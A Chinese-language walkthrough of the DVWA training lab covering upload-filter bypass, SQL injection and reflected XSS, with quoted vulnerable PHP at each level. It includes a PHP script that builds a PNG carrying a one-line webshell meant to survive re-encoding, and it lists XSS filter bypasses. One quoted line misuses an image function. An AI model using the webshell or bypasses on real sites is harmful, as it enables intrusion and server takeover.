        $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
        $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
            ( $uploaded_size < 100000 ) &&
            ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
            if( $uploaded_type == 'image/jpeg' ) {
                $img = imagecreatefromjpeg( $uploaded_tmp );
                imagecreatefrompng( $img, $temp_file, 100);
            }
            else {
                $img = imagecreatefrompng( $uploaded_tmp );
                imagepng( $img, $temp_file, 9);
            }
            imagedestroy( $img );
    
            // Can we move the file to the web root from the temp folder?
            if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
                // Yes!
                echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> 上传成功!</pre>";
            }
            else {
                // No
                echo '<pre>您的图像未上传.</pre>';
            }
    
            // Delete any temp files
            if( file_exists( $temp_file ) )
                unlink( $temp_file );
        }
        else {
            // Invalid file
            echo '<pre>您的图像未上传。只能接受jpeg或png图像.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>

    对文件名进行了重写,防止了00截断,同时对图片内容进行了二次渲染,导致其图片内无法插入恶意代码

    然而二次渲染可以绕过。。估计当时写dvwa的人没有料到。。。

    二次渲染绕过:

    gif很好绕过,将图片上传后下载下来,然后与原图进行比较,在未发生改变的区域插入代码即可

    jpg通过工具可以自动在计算好的位置插入恶意代码,但是部分jpg图片有可能因为某些原因是用不了

    png也可以通过工具在idat区插入一句话木马

    在dvwa中只有png成功了,jpg因为生成脚本和dvwa的生成质量不同,没有成功

    
    <?php
    $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
               0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
               0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
               0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
               0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
               0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
               0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
               0x66, 0x44, 0x50, 0x33);
    
    
    
    $img = imagecreatetruecolor(32, 32);
    
    for ($y = 0; $y < sizeof($p); $y += 3) {
       $r = $p[$y];
       $g = $p[$y+1];
       $b = $p[$y+2];
       $color = imagecolorallocate($img, $r, $g, $b);
       imagesetpixel($img, round($y / 3), 0, $color);
    }
    
    imagepng($img,'./1.png');
    ?>

    生成的1.png

    image-20191225152213992

    成功上传

    image-20191225152246508

    找到文件包含的点,成功执行命令

    image-20191225152449680

    sql注入

    这一块太大了,只审计审计源码,具体的注入方法见SQL注入笔记

    源码分析

    low

    <?php
    
    if( isset( $_REQUEST[ 'Submit' ] ) ) {
        // Get input
        $id = $_REQUEST[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />名字: {$first}<br />姓氏: {$last}</pre>";
        }
    
        mysqli_close($GLOBALS["___mysqli_ston"]);
    }
    
    ?>

    未经过滤直接将参数并入查询语句。

    没啥可说的。

    mediun

    
    <?php
    
    if( isset( $_POST[ 'Submit' ] ) ) {
        // Get input
        $id = $_POST[ 'id' ];
    
        $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Display values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />名字: {$first}<br />姓氏: {$last}</pre>";
        }
    
    }
    
    // This is used later on in the index.php page
    // Setting it here so we can close the database connection in here like in the rest of the source scripts
    $query  = "SELECT COUNT(*) FROM users;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    $number_of_rows = mysqli_fetch_row( $result )[0];
    
    mysqli_close($GLOBALS["___mysqli_ston"]);

    变成了前段无法输入数据,但是可以通过下拉菜单选择数据的情况,还利用了mysqli_real_escape_string转义\x00,\n,\r,\,’,”,\x1a,然并卵,查询处使用了数值查询,肯本不需要闭合,一切在前端限制用户输入的做法都是徒劳的

    可以直接注入

    high

    
    <?php
    
    if( isset( $_SESSION [ 'id' ] ) ) {
        // Get input
        $id = $_SESSION[ 'id' ];
    
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
    
        // Get results
        while( $row = mysqli_fetch_assoc( $result ) ) {
            // Get values
            $first = $row["first_name"];
            $last  = $row["last_name"];
    
            // Feedback for end user
            echo "<pre>ID: {$id}<br />名字: {$first}<br />姓氏: {$last}</pre>";
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
    }
    
    ?>

    依旧没啥过滤,limit可以用#注释掉

    impossible

    
    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $id = $_GET[ 'id' ];
    
        // Was a number entered?
        if(is_numeric( $id )) {
            // Check the database
            $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
            $data->bindParam( ':id', $id, PDO::PARAM_INT );
            $data->execute();
            $row = $data->fetch();
    
            // Make sure only 1 result is returned
            if( $data->rowCount() == 1 ) {
                // Get values
                $first = $row[ 'first_name' ];
                $last  = $row[ 'last_name' ];
    
                // Feedback for end user
                echo "<pre>ID: {$id}<br />名字: {$first}<br />姓氏: {$last}</pre>";
            }
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>

    Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

    弱口令

    爆破,没啥可说的,有一个好的字典会事半功倍

    XSS

    概述

    XSS-即Cross Site Scripting. 为了与”CSS”不混淆,故简称XSS.

    XSS攻击指攻击者利用网站程序对用户的输入输出过滤不足,导致恶意代码在页面执行,对受害者造成cookie资料窃取、会话劫持、钓鱼欺骗等危害;

    危害

    1.网络钓鱼,盗取各类用户的账号,如机器登录帐号、用户网银帐号、各类管理员帐号;

    2.窃取用户Cookie,获取用户隐私,或者利用用户身份进一步执行操作

    3.劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志等

    4.强制弹出广告页面,刷流量等

    5..进行恶意操作,例如任意篡改页面信息,删除文章等,传播跨站脚本蠕虫,网页挂马等

    6.进行基于大量的客户端攻击,如DDOS攻击

    7.结合其它漏洞,如CSRF漏洞。

    8.进一步渗透网站

    9.获取客户端信息,例如用户的浏览历史、真实IP、开放端口、盗窃企业重要的具有商业价值的资料等;

    10.控制受害者机器向其他网站发起攻击;

    11传播跨站脚本蠕虫等;

    类型

    xss攻击可以分成两种类型:

    1.非持久型攻击
    2.持久型攻击

    非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

    持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

    也可以分成三类:

    反射型:经过后端,不经过数据库

    存储型:经过后端,经过数据库

    DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。Dom-xss是通过url传入参数去控制触发的。

    反射型XSS

    low

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        echo '<pre>你好 ' . $_GET[ 'name' ] . '</pre>';
    }
    
    ?>

    代码直接输出了name,没有任何过滤

    image-20191225180748457

    mediun

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>你好 ${name}</pre>";
    }
    
    ?>

    替换<script>标签为空,可以双写绕过,大小写混合绕过,利用img标签,iframe标签,事件属性等绕过

    image-20191225181400949

    high

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>你好 ${name}</pre>";
    }
    
    ?>

    过滤了<script>标签。。。

    利用img标签,iframe标签,事件属性等绕过

    image-20191225181436692

    impossible

    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>你好 ${name}</pre>";
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>

    利用htmlspecialchars函数将所有html字符转义了,没得治。。。

    存储型xss

    跟反射型区别就只是存没存在服务器中

    DOM型XSS

    本文作者:Rayi
    版权声明:本文首发于Rayi的博客,转载请注明出处!